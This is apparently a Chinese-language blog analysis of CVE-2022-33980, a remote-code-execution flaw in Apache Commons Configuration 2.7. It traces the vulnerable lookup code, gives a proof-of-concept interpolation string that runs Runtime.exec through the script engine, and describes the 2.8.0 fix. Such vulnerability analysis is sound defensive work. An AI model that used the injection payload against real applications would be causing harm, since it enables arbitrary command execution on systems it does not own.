前言

摸鱼划水。


环境搭建

依赖,maven仓库中看到相关漏洞:

<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-configuration2</artifactId>
    <version>2.7</version>
</dependency>

漏洞分析

官方通告如下:

Apache Commons Configuration performs variable interpolation, allowing properties to be dynamically evaluated and expanded. The standard format for interpolation is "${prefix:name}", where "prefix" is used to locate an instance of org.apache.commons.configuration2.interpol.Lookup that performs the interpolation. Starting with version 2.4 and continuing through 2.7, the set of default Lookup instances included interpolators that could result in arbitrary code execution or contact with remote servers. These lookups are:
- "script" - execute expressions using the JVM script execution engine (javax.script)
- "dns" - resolve dns records
- "url" - load values from urls, including from remote servers

Applications using the interpolation defaults in the affected versions may be vulnerable to remote code execution or unintentional contact with remote servers if untrusted configuration values are used.

简单来说就是内置了script可以直接执行代码的模块,而且没有经过什么过滤,如果能控制配置源就可以利用漏洞。

根据描述,可以找到script对应的处理类ScriptStringLookup:

public String lookup(final String key) {
    if (key == null) {
        return null;
    }
    final String[] keys = key.split(SPLIT_STR);
    final int keyLen = keys.length;
    if (keyLen != 2) {
        ...
    }
    final String engineName = keys[0];
    final String script = keys[1];
    try {
        final ScriptEngine scriptEngine = new ScriptEngineManager().getEngineByName(engineName);
        if (scriptEngine == null) {
            ...
        }
        return Objects.toString(scriptEngine.eval(script), null);
    } catch (final Exception e) {
        ...
    }
}

其中会根据:将输入参数分割为代码语言和代码两部分,并通过ScriptEngine执行。

往上可以找到ConfigurationInterpolator类的resolve函数:

final int prefixPos = var.indexOf(PREFIX_SEPARATOR);
if (prefixPos >= 0)
{
    final String prefix = var.substring(0, prefixPos);
    final String name = var.substring(prefixPos + 1);
    final Object value = fetchLookupForPrefix(prefix).lookup(name);
    if (value != null)
    {
        return value;
    }
}

根据前缀从prefixLookups里找到对应的Lookup类来处理。

漏洞利用

一般配置源都是文件、数据库之类的东西,为了方便直接从ConfigurationInterpolator类入手,根据参考文章,ConfigurationInterpolator创建时需要加载配置,如果直接使用构造函数就会导致prefixLookups为空:

public ConfigurationInterpolator()
{
    prefixLookups = new ConcurrentHashMap<>();
    defaultLookups = new CopyOnWriteArrayList<>();
    substitutor = initSubstitutor();
}

往上找可以找到静态的构造函数createInterpolator:

final ConfigurationInterpolator ci = new ConfigurationInterpolator();
ci.addDefaultLookups(spec.getDefaultLookups());
ci.registerLookups(spec.getPrefixLookups());
ci.setParentInterpolator(spec.getParentInterpolator());
return ci;

然而是private,所以再往上找到fromSpecification:

if (spec == null)
{
    throw new IllegalArgumentException(
            "InterpolatorSpecification must not be null!");
}
return spec.getInterpolator() != null ? spec.getInterpolator()
        : createInterpolator(spec);

需要一个输入参数InterpolatorSpecification,prefixLookups也是从它里面找的,但是它没有public的构造函数,需要通过内类Builder构造,prefixLookups通过withDefaultLookups输入,具体的数据可以从ConfigurationInterpolator的getDefaultPrefixLookups函数获取默认配置,根据参考文章:

InterpolatorSpecification interpolatorSpecification = new InterpolatorSpecification.Builder()
        .withPrefixLookups(ConfigurationInterpolator.getDefaultPrefixLookups())
        .withDefaultLookups(ConfigurationInterpolator.getDefaultPrefixLookups().values())
        .create();
ConfigurationInterpolator configurationInterpolator = ConfigurationInterpolator.fromSpecification(interpolatorSpecification);
configurationInterpolator.interpolate("${script:javascript:java.lang.Runtime.getRuntime().exec(\"calc.exe\")}");

漏洞修复

修改依赖为2.8.0版本,首先从prefixLookups中删掉了script等Lookup类,无法再通过resolve函数进入。


参考

CVE-2022-33980命令执行漏洞分析


Web Java

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

Fastjson 1.2.80漏洞
CVE-2022-21724 PostgresQL JDBC Drive 任意代码执行漏洞